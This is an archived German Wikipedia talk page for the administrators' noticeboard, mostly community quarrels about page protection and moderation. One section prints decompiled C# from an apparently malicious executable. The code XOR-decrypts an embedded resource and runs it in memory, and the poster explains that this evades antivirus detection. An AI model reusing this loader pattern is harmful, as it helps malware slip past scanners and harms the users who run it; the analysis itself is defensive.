Nicht die Grenzen nach außen, sondern die Grenze dazwischen dürfte das Problem sein. Solange die Seite vor lauter Themen nicht unübersichtlich wird, kann man Diskussionen und Notizen ruhig auf einer Seite beisammen lassen. Und so wie es ist, kann man noch gut selbst auswählen, was man lesen / verfolgen möchte. -- Harro von Wuff 01:05, 6. Jul. 2011 (CEST)

Ich sehe in der aktuellen Praxis auch kein Problem. Die Seite gehört zu den übersichtlicheren, da ist noch Luft. Gestumblindi 01:09, 6. Jul. 2011 (CEST)

Auf "erledigt" setzen

Ich glaube nicht, dass dieser Edit [10] hilfreich ist. Wenn ein Benutzer hier eine Frage an Admins stellt, dann ist es kaum sinnvoll, wenn ein anderer Nicht-Admin nolens volens einen "erledigt"-Baustein setzt. Daher würde ich das gerne rückgängig machen, oder gibt es dazu andere Meinungen? --Wahldresdner 10:16, 3. Aug. 2011 (CEST)

Unbeschränkt voll?

Im Intro steht auch „um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen“, was nun Nicht-Administratoren nicht mehr möglich ist. Wäre es in einem solchen Falle nicht ratsamer, dem Intro zuwiderlaufende Beiträge konsequent zu moderieren? →▼‎↔▲← 21:24, 28. Sep. 2011 (CEST)

Vergisses, da musst so ein Admin halt wieder mal seine Macht raushängen lassen, nicht das die Schreibsklaven vergessen wer hier das sagen hat. liesel Schreibsklave 21:26, 28. Sep. 2011 (CEST)

Das ist kein Raushängenlassen der Macht, sondern absolute Hilflosigkeit. Sie sind nicht in der Lage eine ausufernde Diskussion über einen tiefen alten Konflikt anständig zu moderieren. Ihre Untätigkeit, verursacht durch Überforderung und vielleicht Desinteresse, befeuert nur diese Konflikte. Dazu kommt natürlich der Schiss vor Wiederwahlstimmen. Dadurch setzen sich diese Konflikte bis zum St. Nimmerleinstag fort. Wenn Admins nicht wollen, müssen eben andere ran. --Schlesinger ^schreib! 21:36, 28. Sep. 2011 (CEST)

Äh, was? →▼‎↔▲← 21:28, 28. Sep. 2011 (CEST)

(Nach BK) P.S.: Hab übersehen, dass die Bearbeitungssperre nur 24 Stunden umfasst. Damit hat sich das

Ich halte diese Diskussion für abgeschlossen. →▼‎↔▲← 21:28, 28. Sep. 2011 (CEST)

:) →▼‎↔▲← 21:28, 28. Sep. 2011 (CEST)

Diddl-MB.

ausgelagert von A/N --Filzstift ✑ 15:56, 13. Feb. 2012 (CET)

Könnte man nicht einfach darauf einigen, schlicht einfach alle Kommentare im MB zu entfernen (d.h. reine Stimmabgabe, ist ja der Zweck der Seite)? Kommentare gehören, wenn überhaupt, umseitig. Sonst muss man am Ende gar das MB wegen EW sperren. --Filzstift ✑ 14:26, 13. Feb. 2012 (CET)

Kann man schon, aber eher nicht nachträglich, nein? Habt ihr mal gezählt wieviele Kommentare das wären, z.T. lange Episteln? Nur weil 2 Leute editwarr(t)en (und anscheinend gleich wieder damit aufhörten)? Och Kinners, nee. (Ich bin zwar als Feudel gewählt, aber nun nicht fürs Showwischen, oder?;-) Gruß in die Runde,--Felistoria 14:33, 13. Feb. 2012 (CET)

Doch, gerade dafür. Was hältst Du von folgender Aufgabenverteilung: Du entfernst die Kommentare, Sargoth editwart sie wieder rein, Filzstift schützt die Seite bis Quintidi Ventôse II. und ich lege das fällige AP an - natürlich gegen alle drei? --Port(u*o)s 14:42, 13. Feb. 2012 (CET)

Meinst? Dramaturgisch eventuell noch zu wenig ausgereift? Filzstift muss natürlich gleich hinter mir und Sargoth die Seite zumachen (sonst bringen die Hiundertschaften ja die Regie durcheinander), aber bis wir unten angekommen sind, ist er deadministriert, und hinter Sargoth und mir wird alles wieder auf Anfang gesetzt... (Ein großer Aufwand, schmählich! ist vertan... Meph.V.11837) --Felistoria 14:58, 13. Feb. 2012 (CET)

Ich stehe bereit, parallel dazu die Schiedsgerichtsanfrage vorzubereiten, die dieses zirkuläre Alles-wieder-auf-Anfang-setzen als Überschreitung von Adminrechten festzustellen lassen versucht, mit dem gleichzeitigen Antrag alles wieder auf Anfang zu setzen, --He3nry Disk. 15:07, 13. Feb. 2012 (CET)

(BK) Einigen wir uns darauf, dass Portous das AP schon mal vorbereitet. Es wäre der letzte Akt und somit wichtigster Akt im Drama "DCII" (1. Akt leuchtet die Motivation der damaligen Anlegung der DCII-Seite), da macht es schon Sinn, das AP erst mal gemeinsam auszuformulieren, damit der Schluss dramaturgisch auch passt. --Filzstift ✑ 15:08, 13. Feb. 2012 (CET)

Hm. Das SG sollte drankommen; das steht hinten unterm Schnürboden 'rum als Requisit. --Felistoria 15:15, 13. Feb. 2012 (CET)

Das mit dem vertanen Aufwand sehe ich nicht so: Jetzt wird wieder in die Hände gespuckt ... - immerhin erhöht es massiv, das WP-eigene BIP, --He3nry Disk. 15:23, 13. Feb. 2012 (CET)

Nichts gegen euer geplantes Vorgehen. Aber bitte dies vorher durch ein Meinungsbild absegnen lassen. scnr ;-)) --tsor 15:25, 13. Feb. 2012 (CET)

Aber nur, wenn ich es gegen die Veränderung der von mir und nur von mir eingetragenen Contra-Argumente administrativ schützen darf ... --He3nry Disk. 15:26, 13. Feb. 2012 (CET)

Antrag in dreifacher Ausfertigung, werter He3enry, an den Senat in Washington/D.C., mit Angabe der Mehrwertsteuer. --Felistoria 15:29, 13. Feb. 2012 (CET)

Aha, hier verabredet man sich zum Staatsstreich, soso :-)--Schlesinger ^schreib! 15:32, 13. Feb. 2012 (CET)

Ich finde, dieser Thread ist mal wieder ein Musterbeispiel, wie sich die Administraturenkaste über die Community lustig macht. Bitte aufhören, sonst VM!!! --Port(u*o)s 15:33, 13. Feb. 2012 (CET)

Schnappatmung, Kopf rot, Tastaturbeissen, ...: Mach das noch mal und ich werde vielleicht auf den Speichern-Button drücken, das hast Du noch nicht gesehen ... --He3nry Disk. 15:46, 13. Feb. 2012 (CET)

Aber aber, meine Herren, doch nicht vor der Presse! Dem Fräulein Schlesi wachsen schon die Ohren übern Kopf... --Felistoria 15:49, 13. Feb. 2012 (CET)

Admins sind doch harmlos, zumal es doch jedem offensichtlich sein sollte, dass sowas überhaupt nicht ernst gemeint ist. Der (WP-)Alltag ist schon trist genug. --Filzstift ✑ 15:56, 13. Feb. 2012 (CET)

Vielen Dank. Nacktaffe 15:52, 13. Feb. 2012 (CET)

Sexismus-Debatte

Wenn ich mal zusammenfassen darf:
Atcock hat sich vor ein paar Wochen mal subopti verhalten, wurde dank Hamburger Connection nicht einmal verwarnt und hat sich dafür auch nicht ein paar Tage später entschuldigt. Im Gegenzug wurde ihm das fortan 100mal in verschiedensten Garnierungen und Aggregatszuständen aufs Brot geschmiert. M.E. damit abgegolten. Da wir jetzt in etwa bei 200mal wären, sollte langsam gut sein! Und die gelben Sterne treten wir gleich mit in die Tonne. Und ab jetzt beschließe man einvernehmlich , was heute morgen schon auf VM stand: Niemand stiefelt in den nächsten Tagen den Kontrahenten hinterher und irgendwann sind wir dem friedlich-respektvollen Miteinander vielleicht wieder näher! --Elop 20:12, 28. Feb. 2012 (CET)

Einverstanden, was ACs Edit betrifft. Diese causa ist zuende geritten. Und damit es nicht langweilig wird, schlage ich einen Themen- (Sexismus -> Homophobie), Direktheits- (direkt -> indirekt) und Rollenwechsel (Sichter -> Admin) vor und nominiere diesen Edit von Felistoria für die Rubrik „das geht ja mal wieder gar nicht“. NB: Ich bin gar nicht so der Hamburghasser, das ist eine Verkettung widriger Umstände. fossa net ?! 21:48, 28. Feb. 2012 (CET)

Ich persönlich denke ja, daß ungeahndete Vergehen dem Vergeher mehr schaden als geahndete! Deshalb empfähle ich mir selber auch, eigene Vollentgleisungen gegebenenfalls einzugestehen nebst logischer Folge bzw., sollte mich das überfordern, meinen RE- oder MR-Connections, das zu tun, was sie im analogen Fall auch außerhalb des Inneren jener Connection tun würden - ersatzweise ginge auch Enthaltung wegen Befangenheit.

Homophobie ist glaubich auch nicht wirklich unser Thema momentan. In meinen Augen hat sich einfach ein ansonsten etwas feinsinnigerer Kollege mal als ungehobelter Rüpel versucht. (Sorry für diese klischeehafte Bezeichnung - ich wurde durch Lustige Taschanbücher, F&F sowie MAD sozialisiert! Ich weiß nicht einmal, wie das Hobeln von Rüpeln genau vonstatten geht ...)

Kann (wenngleich nicht soll) man machen, sofern man es nach wenigen Wochen dann auch ganz schnell wieder abstellt ... --Elop 22:42, 28. Feb. 2012 (CET)

Zur Exe-Datei

Das ist so ziemlich der ganze Inhalt der EXE-Datei. Die als Ressource "file" codierte .EXE-Datei wird daraufhin mit Assembly.Load(rawAssembly).EntryPoint.Invoke(null, null); geladen. Zum Testen habe ich das Byte-Array rawAssembly in eine Datei gespeichert. Erst dann schlägt der Virenscanner Alarm. Das Ganze dient wohl nur dazu, den Virenscanner zu irritieren. --Filzstift ✎ 08:14, 16. Mai 2012 (CEST)

private static void Main()
{
  ResourceManager manager = new ResourceManager("res", Assembly.GetExecutingAssembly());
  byte[] rawAssembly = XOREncryptDecrypt((byte[]) manager.GetObject("file"), "7%&/&SRr/rd7rfs7&/$7t87765t7STdsztd7t5se5E&%ssszr/))?U/T/&R");
  manager.ReleaseAllResources();
  Assembly.Load(rawAssembly).EntryPoint.Invoke(null, null);
}

public static byte[] XOREncryptDecrypt(byte[] bytes, string Key)
{
  int num = 254;
  byte[] buffer = Encoding.Default.GetBytes(Key);
  for (int i = 0; i < bytes.Length; i++)
  {
    bytes[i] = (byte) (bytes[i] ^ ((byte) ((buffer[i % ((int) buffer.Length)] >> ((i + num) + buffer.Length)) & 186)));
  }
  return bytes;
}

Waren noch Debugsymbole in der Exe oder woher der dekompilierte Code? —mnh·∇· 00:58, 17. Mai 2012 (CEST)

Das ist eine .NET-Anwendung. Diese wird als Zwischensprache ausgeliefert, die dann erst zur Laufzeit in Maschinencode umgewandelt wird. Dieser Zwischencode kann ohne Probleme wieder in jede .NET-Sprache zurückübersetzt werden (IL Dasm, .NET Reflector, ...). --Steef ³⁸⁹ 01:13, 17. Mai 2012 (CEST)

Ernsthaft? Ich rühre Mono/Schrott Net freiwillig nicht an, aber die Compilate sind _immer_ rückübersetzbar? Weia, und ich hielt es für ein Anzeichen, dass der Bastler wenig Ahnung hat. —mnh·∇· 01:27, 17. Mai 2012 (CEST)

Das ist zumindest standardmäßig so (wie bei Java auch). Mit nem guten Obfuscator kommt aber kein übersetzbarer Code raus, der zudem praktisch nicht lesbar ist - in diesem Fall gibt es kaum noch Unterschiede zu einem Decompiler von beispielsweise C.

Ich persönlich sehe das eher als Vorteil, da man bei außerplanmäßigen Exceptions einen Stacktrace hat (bei beigelegter pdb-Datei sogar mit Zeilennummer). In vielen meiner Programme hat man dann bei einem "Absturz" die Möglichkeit, mir per Knopfdruck den Stacktrace zuzumailen und die Fehlerbehebung ist somit sehr viel einfacher. --APPER\^☺☹ 01:23, 15. Jun. 2012 (CEST)

Vorderseite, Abschnitt zu Tacuisses

Sorry, aber @He3nry: "Edits von IPs, die zweifelhaft oder Sperrumgehung sind, werden gemäß den gültigen allgemeinen Regeln revertiert oder gesperrt. " - Seit wann gibt es eine Regel, dass sperrumgehende IPs unabhängig vom Inhalt revertiert werden? Dafür hätte ich gerne einen Link. --T3rminat0r (Diskussion) 17:09, 26. Jul. 2012 (CEST)

Aus welchem Grund

ist die Vorderseite immer noch vollgesperrt? --Schlesinger ^schreib! 22:31, 12. Dez. 2013 (CET)

Weil die Seite für eine Woche gesperrt wurde --Itti 22:33, 12. Dez. 2013 (CET)

Äh, ja, das ist gewissermaßen der technische Grund, aber ich glaube, die Frage betrifft mehr den inhaltlichen. Eine derart lange Sperrung einer Funktionsseite ist ja sehr ungewöhnlich, und die Begründung "Theater" erklärt das nicht ohne Weiteres. --Amberg (Diskussion) 03:31, 13. Dez. 2013 (CET)

Kinder, stellt euch nicht dumm. --Atomiccocktail (Diskussion) 06:37, 13. Dez. 2013 (CET)

Im Intro der Seite steht, dass diese auch dazu dienen solle, ".... Administratoren ... auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen". Damit sind auch nicht Admins eingeladen, auf der Seite Hinweise abzugeben. Ich hoffe nicht, dass die Adminschaft diese Hinweise nicht mehr bekommen möchte. Es kann nämlich auch innerhalb des langen Sperrzeitraums zu wichtigen oder außergewöhnlichen Vorgängen kommen. Man hätte es auch bei einer kurzen Sperre belassen und zu einer zielgerichteteren Moderation übergehen können. --Alupus (Diskussion) 07:22, 13. Dez. 2013 (CET)

@Itti: Danke für die Verarschung. --Schlesinger ^schreib! 07:52, 13. Dez. 2013 (CET)

Sorry, war nicht meine Absicht. Wirklich nicht! --Itti 08:04, 13. Dez. 2013 (CET)

Den Seitenschutz hat Koenraad für eine Woche eingetragen. Am Sinnvollsten fände ich es, direkt mit Koenraad zu sprechen. VG --Itti 08:05, 13. Dez. 2013 (CET)

Was du nicht sagst. Mittlerweile kann selbst ich Logbücher lesen, aber egal. Koenraad und sein Kollege PaterMcFly haben ihre Wiederwahlstimmen wegen des nicht nachvollziehbaren willkürlichen Ausschlusses eines großes Teiles der Community bereits erhalten. Zumal sie statt konstruktiv an einer Lösung des Problems der Veröffentlichung persönlicher Informationen eines unter erheblichen Druck stehenden Users beizutragen, es vorzogen durch Abwesenheit zu glänzen. --Schlesinger ^schreib! 08:27, 13. Dez. 2013 (CET)

Liest Koenraad hier denn nicht mit, Itti? Sondereinladungen auf seiner Benutzerdisk. halte ich für überflüssig. --Alupus (Diskussion) 08:28, 13. Dez. 2013 (CET)

Auch wenn ich die Seitensperre ebenfalls für unverhältnismäßig erachte, sollte man etwas Geduld aufbringen können. Vielleicht hat Koenraad zwischen 22 und 8 Uhr etwas anderes zu tun. Dass er heute zwischen 5 und 7 Uhr aktiv war, spricht nicht dagegen, da die Beiträge Kleinstedits waren. Warum laden wir ihn nicht auf moderne Weise ein, mh Koenraad?--Man of Misery 08:53, 13. Dez. 2013 (CET)

Liebe Admins, macht die Seite wieder auf, sollte etwas ganz Furchtbares passieren, könnt ihr sie ja wieder dichtmachen. -- Hans Koberger 08:59, 13. Dez. 2013 (CET)

«… auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen …» != «Seite zumüllen!».

Im Moment will ich nicht gerade einsehen, warum die Seite entsperrt werden soll. Abgesehen davon finde ich eine 7-tägige-Sperre nicht mal so schlecht, so haben wir genügend Zeit, über den Sinn dieser Seite zu sinnieren und wir lernen können, diese Seite von Seiten wie Grillenwaage, DCII, Café, FzW, WD:Kurier etc. abzugrenzen. Für mich ist WP:AN nämlich nur eine Laberseite.

<sarkasmus>Wenn ich es mir aber recht überlege… Vielleicht ist es doch besser, wir öffnen die Seite wieder und überlassen diese dem Pöbel. Die Admins da oben auf ihren Thronen werden sich schon zu helfen wissen und sich irgendwo in den Wikipedia-Tiefen (oder gar ausserhalb der Wikipedia) eine eigene Seite einrichten, wo sie endlich unter sich sind.</sarkasmus>--Filzstift ✏ 09:37, 13. Dez. 2013 (CET)

<sarkasmus>Ach, wir sind der Pöbel?</sarkasmus> --Schlesinger ^schreib! 09:40, 13. Dez. 2013 (CET)

@Filzstift, jemanden zu verhöhnen und zu verspotten (BTW: so wie auch hier) ist nicht die feine englische Art. Du solltest Dein Handeln mal etwas reflektieren. -- Hans Koberger 10:16, 13. Dez. 2013 (CET)

<sarkasmus>@Hans Koberger, wir sind hier auch nicht in der englischen Wikipedia.</sarkasmus> --Man of Misery 10:29, 13. Dez. 2013 (CET)

Strikt gegen eine Entsperrung - kein Grund. Übrigens, Schlesinger und andere Willige, du kannst dich auch an meiner WW-Seite bedienen, Koenraad hat eigentlich nur das gemacht, was ich kurz davor in der VM vorgeschlagen habe. -jkb- 10:15, 13. Dez. 2013 (CET) - - aaach, das war sehr fix :-) -jkb- 10:22, 13. Dez. 2013 (CET)

Nach dem Intro ist diese Seite definitiv kein geschlossenes Adminuntersichlaberforum, und zumüllen hat auch was mit zumüllen lassen zu tun, werte Wiederwahlstimmenempfangsberechtigte. --Alupus (Diskussion) 10:19, 13. Dez. 2013 (CET)

Dann gebt die Hinweis halt auf dieser Diskussionsseite. Sollten die Admins sie doch selbst auf die Vorderseite übertragen, wenn es ihnen lieber ist. Für die Entsperrung ist übrigens die Funktionsseite Wikipedia:Entsperrwünsche zuständig. --TotalUseless (Diskussion) 10:28, 13. Dez. 2013 (CET)

Ich hatte mal gar nicht gemerkt, dass die Seite zu ist und war dankbar, dass sich die ganzen Nebendiskussionen endlich an die richtige Stelle verlagert hatten. Ad 1: Ich werde die Seite entsperren. Die Sperre ist zwar absolut nachvollziehbar, da die Endlosnebendiskussionen zu Nicht-Admin-Themen dem "Sinn" der Seite widerspricht. Aber unglücklicherweise signalisiert sie genau das Verhalten, dass "man" Admins (wie ich finde zu Unrecht) immer vorwirft: das es ein Klüngel wäre, der was auch immer mit dem Normaluser Böses vorhat. Ad 2: Das solche Allgemeindiskussionen auf WP:A/N eröffnet werden und nicht auf FZW, Projektdiskussionen, MB etc. zeigt allerdings, dass es viele gibt, die Admins besonders gerne auch in der "Klüngel, der den Laden hier beherrscht"-Ecke haben möchten. Warum sonst sollten Exzessivdiskussion, in denen Benutzer mit sysop-Rechten genauso viel zu sagen haben wie solche mit ohne (nämlich nur ihren jeweiligen POV) eigentlich unbedingt auf einer Seite zu führen sein, wo Admin davor steht?? --He3nry Disk. 10:40, 13. Dez. 2013 (CET)

Nachtrag: Und ich weiss definitiv, dass diese ganzen Grundsatzdiskussion bevor die Seite A/N eingerichte wurde auf FZW stattfanden. Und da frage ich mich schon, warum die - und zwar nicht durch die Admins - auf immer weiter abgelegene Seiten verlagert werden? Ist es nicht eher so, dass die Gruppe der erfahrenen Benutzer (mit/ohne sysop-Rechte) hier eine Nebenöffentlichkeit schafft? --He3nry Disk. 10:44, 13. Dez. 2013 (CET)

Danke für die Wiederherstellung des Normalzustandes. --Schlesinger ^schreib! 11:19, 13. Dez. 2013 (CET)

"Nebenöffentlichkeit" - hm. Da habe ich das Intro anders gelesen und auch die Begründung des Seitenschutzes. Aber das ist nun nicht mein Problem, bei mir ist es wieder von der BEO weg. -jkb- 11:33, 13. Dez. 2013 (CET)

Na ja, das ist ja das Witzige. Da wird eine Seite eingerichtet, die es den Admins ermöglichen soll, sich mal eben einen Hinweis zu geben - und dies eben nicht im Geheimen. Und im Effekt verlagern sich Diskussionen, die Nicht-Admins als wichtig empfinden, dahin. Und das in einem Ausmass, dass das Sperren der Seite als Angriff auf die allgemeinen Rechte empfunden wird... --He3nry Disk. 11:39, 13. Dez. 2013 (CET)

He3nry, das Intro zur Seite steht nicht erst seit gestern da. Nehmt bitte einfach mal zur Kenntnis, dass die Seite nach dem Intro nicht nur der internen Kommunikation nur unter Admins dient (s. o.). Ein anderweitiges Verständnis des Textes ist nicht haltbar. Wenn der Adminschaft dies nicht passt, sollte Klarheit geschaffen werden und das Intro geändert werden. Seiten, um was zu besprechen, und da sind wir einer Meinung, gibt es genug, dafür braucht es nicht unbedingt dieser speziellen Funktionsseite. --Alupus (Diskussion) 12:07, 13. Dez. 2013 (CET)

Sooo weit liegen wir in unserer Meinung wohl gar nicht auseinander. Jeder, der mithelfen kann, damit diese Seite ihren Zweck erfüllt („die Zusammenarbeit unter den Administratoren besser zu koordinieren und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen“ fett von mir), sollte das auch tun. Ich kann mich (ohne es nachgeprüft zu haben) nicht entsinnen, dass es jemals einzig aus dem Grund "du-bist-aber-kein-admin" Rüffler gab oder Beiträge entfernt wurden. Ein Problem entsteht dann, wenn die Seite ihren Zweck nicht mehr erfüllen kann. Selbst dann, wenn man sie auf Beo behält, filtert man das Geschehen irgendwann bewusst oder unbewusst aus. Aber sogar wenn man sich bemüht, dennoch ein Auge drauf zu halten, ist es bei ausreichendem Bearbeitungsaufkommen (oder gar Editwar um Kleinkram) unumgänglich, dass andere Dinge zunehmend übersehen werden. Eine etwaige Moderation der Beiträge würde das gar noch verschlimmern, weil recht schnell Meinungsfreiheit in Anspruch genommen wird, mit zusätzlichen Diskussionen. Durchsetzung mittels Sanktionen gebiert dann weitere Bühnen. Tja. --Howwi (Diskussion) 13:02, 13. Dez. 2013 (CET)

@Howwi & He3nry: Da ihr so nett gefragt hast, möchte ich euch kurz erklären, warum ich die den Abschnitt überhaupt auf WP:A/N eröffnet habe. Ich habe diese meiner Ansicht nach personenbezogenen Informationen gelesen und mich gefragt, warum diese trotz Beanstandung durch die betroffene Benutzerin nicht (zumindest) versteckt wurden. Um freundlich auf diesen Umstand hinzuweisen, habe ich den Abschnitt zunächst auf WP:A/A erstellt (diff), ihn jedoch kurz daraufhin auf WP:A/N übertragen (diffs: 1, 2), da dies meiner Ansicht nach ein wichtiger bzw. außergewöhnlicher Vorgang innerhalb der Wikipedia ist – nämlich solche Informationen öffentlich einsehbar zu lassen – und der Beitrag insofern nicht WP:A/A entsprechen würde, dass die Bitte bereits abgelehnt worden ist. Den Abschnitt habe ich hier nicht eröffnet, um einen Nebenkriegsschauplatz im Kampf gegen bei der Diskussion über das Verhalten von Benutzer:Martina Nolte zu schaffen, worauf ich auch mehrmals während der Diskussion hingewiesen habe. Benutzer:Anka Friedrich scheint einer der Wenigen zu sein, die in der Lage waren, das Ausgangsproblem zu erkennen (diff). – Fröhliche Kirsche 14:10, 13. Dez. 2013 (CET)

ACK zu Howwi: Der Punkt war nicht, dass da nicht ein Nicht-Admin schreibt (im Gegenteil, deswegen habe ich die Seite ja wieder aufgemacht). Der Punkt ist, warum glauben alle, dass allgemeine Diskussion von einiger Wichtigkeit auf eine Seite geschrieben werden müssen, die (a) dafür nicht gemacht ist und (b) als "Admin"-Seite bezeichnet ist, was sie dem Nichteingeweihten als uninteressant kennzeichnet, warum also wird für solche Diskussion nicht die "Öffentlichkeit" gesucht? --He3nry Disk. 13:11, 13. Dez. 2013 (CET)

@He3nry: Weil der Öffentlichkeit nicht per Wahl erweiterte Rechte anvertraut wurden, um über Versionslöschungen etc. zu entscheiden und diese durchzuführen. – Fröhliche Kirsche 16:00, 13. Dez. 2013 (CET)

Es war nicht die Rede davon, dass der Ausgangsedit nicht gemacht hätte werden dürfen, nur willst Du doch nicht ernsthaft behaupten, dass die Diskussion und der Hintergrund derselben ernsthaft "nur für sysop-Berechtigte" wichtig war und Konsequenzen hat, --He3nry Disk. 16:30, 13. Dez. 2013 (CET)

Da stimme ich euch zu. Auf allen Funktionsseiten - auch VM oder die vom SG - geht oft genug zu, wie beim Unfallspotting auf der Autobahn... In diesem Fall hilft dann wirklich nur die Seitensperre, um die Miteilungsbedürftigen zum Weitergehen anzuleiten. Ohne nochmal auf den konkreten Fall zurückzukommen: Die Einleitung vielleicht noch deutlicher formulieren? --Alupus (Diskussion) 13:31, 13. Dez. 2013 (CET)

Seit wann interessiert sich irgendeiner der „Regulars" für Seitenintros? Das Gemaule kommt doch nur deshalb, weil durch die Seitensperre eine Seite wegfällt auf der man Skandale nochmal skandalisieren und längst Abgeschlossenes nochmal schön aufwärmen und hochkochen kann. Besser als ein geändertes Seitenintro wäre die konsequente Entfernung aller Beiträge, die nichts mit der Intention der Seite zu tun haben. Und das so lange bis auch der letzte „Mitteilungsbedürftige" verstanden hat, daß er sich woanders mitteilen soll (oder vllt. besser den Mund halten). --Henriette (Diskussion) 13:37, 13. Dez. 2013 (CET)

Ach komm, Henriette. Stell Dir mal vor, Du dürftest irgendwo Deinen Delikatess-Senf nicht dazugeben, weil Du abgewählt worden wärest (ich weiß, undenkbar, Konjunktiv II ;)) Du könntest es doch gar nicht ertragen. Ich habe drüben nicht gesenft, will mir aber das Recht dazu nicht nehmen lassen. --JosFritz (Diskussion) 15:19, 13. Dez. 2013 (CET)

Ich werd die Knöppe sowieso demnächst abgeben. Und wenn ich dann nicht mehr senfen kann: So what? Auf mich hört eh keiner (und im Gegensatz zu so mancher Senfschleuder hier nehme ich meine Beiträge auch nicht besonders wichtig). --Henriette (Diskussion) 15:54, 13. Dez. 2013 (CET)

Salatschleuder kennt WP, Senfmühle ist eine Weiterleitung. Aber Senfschleuder ist WP gänzlich unbekannt ;-) --Elektrofisch (Diskussion) 16:01, 13. Dez. 2013 (CET)

Tja, Henriette betreibet TF (Theoriefindung) bzw. Begriffsetablierung. VM nötig? --tsor (Diskussion) 16:05, 13. Dez. 2013 (CET)

Nee, nix TF: 23.600 Treffer bei Google für „Senfschleuder"!! (Ich gestehe allerdings, daß ich das Wort exklusiv für diese Diskussion erfunden zu haben glaubte … tja, nihil novi sub sole ;) --Henriette (Diskussion) 16:32, 13. Dez. 2013 (CET)

Google-Treffer begründen keine Relevanz. – Fröhliche Kirsche 16:39, 13. Dez. 2013 (CET)

Senfgeber

Geht ja auch nicht um Relevanz, sondern um TF. Der Artikel Seinen Senf dazugeben fehlt uns übrigens noch … Soll ich? :)) --Henriette (Diskussion) 16:48, 13. Dez. 2013 (CET)

Hammer schon, --He3nry Disk. 16:50, 13. Dez. 2013 (CET)

Pfft, ein Halbsatz! Lächerlich!! Da geht mehr: Eine DinA4-Seite auf jeden Fall (das Sprichwort ist nämlich seit ca. 1700 in Gebrauch, hah!!). :)) --Henriette (Diskussion) 17:00, 13. Dez. 2013 (CET)

Dann: Du sollst! *grins* --He3nry Disk. 17:22, 13. Dez. 2013 (CET)

Mit Bild, bitte. --tsor (Diskussion) 17:25, 13. Dez. 2013 (CET)

Da reicht ja ein Screenshot einer beliebigen WP-Diskussion :) *duck* --Henriette (Diskussion) 17:30, 13. Dez. 2013 (CET) 

(BK) Aber ein bisschen "dynamischer" (so in Richtung "Schleuder") als das da rechts kann es schon sein ... --He3nry Disk. 17:32, 13. Dez. 2013 (CET)

Für Henriette: Senf pur! --He3nry Disk. 17:46, 13. Dez. 2013 (CET)

Senfquelle, gelegentlich Senfschleuder

@Henriette: Bitte das hier ausbauen, da steht "Quellen fehlen". ;-) Stepro (Diskussion) 18:00, 13. Dez. 2013 (CET)

Die fehlen ja auch :) Aber ich bin der Meinung, daß auch die WP einen Artikel dazu haben darf. Und da ich meine Artikel immer sehr sorgfältig belege und unter 5 Quellen sowieso nicht anfange, kannst Du dann Quellenangaben von mir übernehmen ;) --Henriette (Diskussion) 18:43, 13. Dez. 2013 (CET)

Dies ist eine schöne Beispieldiskussion um zu erkennen, woran die Wiki-Disk. eigentlich "leidet". Hier wird zu schnell von einem vom Thema abgekommen und schon springen alle drauf an. Dann werden alles mögliche für Nebendisk. geführt, bis kaum einer mehr weiß, worüber ursprünglich mal diskutiert wurde. So kommt man von einer Seitensperre zu einer Senfschleuder. Aber das liegt wohl eher daran, dass sich hier viele Diskutierenden hier zumindest online häufiger begegnen und auch zu manchen Scherzen aufgelegt sind. Ich sehe das aber alles nicht so wild. Davon geht die Welt nicht unter, und außerdem lässt sich sowas auch gar nicht verhindern. Um es kurz zu machen. Ich halte die Diskussion hier für abgeschlossen. Seite wurde entsperrt. Übrigens schon seit heut Mittag frei noch ohne Beitrag. Als recht effektiv auch wenn nicht immer freundlich scheint es zu sein, die Vorderseite mit Erledit-Bausteinen von Admins zuzuplastern und die Disk. auf die Disk.seite somit zu verlagern. Irgendwann merkt auch der Letzte, dass eine Disk. sich nicht mehr lohnt, da das Thema auf der Vorderseite schon erledigt wurde.--Alberto568 (Diskussion) 19:50, 13. Dez. 2013 (CET)

Testbeitrag

Dieser Beitrag dient nur dazu, festzustellen, ob Benutzer:-jkb- eine Benachrichtigung zu diesem Beitrag erhält. --Matthiasb – Vandale am Werk™ ^{(CallMyCenter)} 05:25, 8. Dez. 2013 (CET)

Danke, nichts angekommen. -jkb- 11:20, 8. Dez. 2013 (CET)

@-jkb-, Matthiasb: laut dem hier funktioniert das sehr wahrscheinlich wegen Matthias' Unterschrift nicht.--Saehrimnir (Diskussion) 11:55, 9. Dez. 2013 (CET)

sagen wir so, es ist offenbar nicht voll ausgereift :-) -jkb- 12:09, 9. Dez. 2013 (CET)

Hier wurde gar keine Signatur eingefügt, dann wird gar nicht benachrichtigt. Siehe Bugzilla:53132#c11, Bugzilla:53132#c16 und mw:Echo/Feature requirements#User Mention: „this feature only works if the post is signed -- by adding four tildes (~~~~) when the edit is posted, which are then converted into a signature“, aber: Bugzilla:53132#c20 ff. Und auch mit Signatur ging es laut Bugzilla:54639#c3 hier nur wegen der Änderung des Sternchens in eine Raute im Beitrag davor nicht. --October wind 21:12, 9. Dez. 2013 (CET)

An meiner Unterschrift kanns net liegen, denn sonst hätte -jkb- ja auch die umseitige Benachrichtung nicht erhalten. --Matthiasb – Vandale am Werk™ ^{(CallMyCenter)} 16:17, 10. Dez. 2013 (CET)

Na dann probier ich es auch nochmal: Benutzer:-jkb- hast Du nun eine Benachrichtigung erhalten? --tsor (Diskussion) 16:25, 10. Dez. 2013 (CET)

Ja, eine rote   1  , -jkb- 17:46, 10. Dez. 2013 (CET)

Dann besteht der Verdacht, dass obige Nicht-Benachritigung etwas mit der Sigantur von Matthiasb zu tun haben könnte !? --tsor (Diskussion) 19:45, 10. Dez. 2013 (CET)

Wenn du da das Vandalenvermächtnis meinst, dann gibt es hier Hunderte von Signaturen, die keine rote   Eins   generieren. -jkb- 20:03, 10. Dez. 2013 (CET)

Richtig.--Saehrimnir (Diskussion) 08:22, 11. Dez. 2013 (CET)

Allerdings: siehe umseitig WP:AN#AP regelkonform? 05:23 und 11:15, die erste Nachricht von ihm habe ich bekommen, mit der gleichen Unterschrift. -jkb- 08:42, 11. Dez. 2013 (CET)

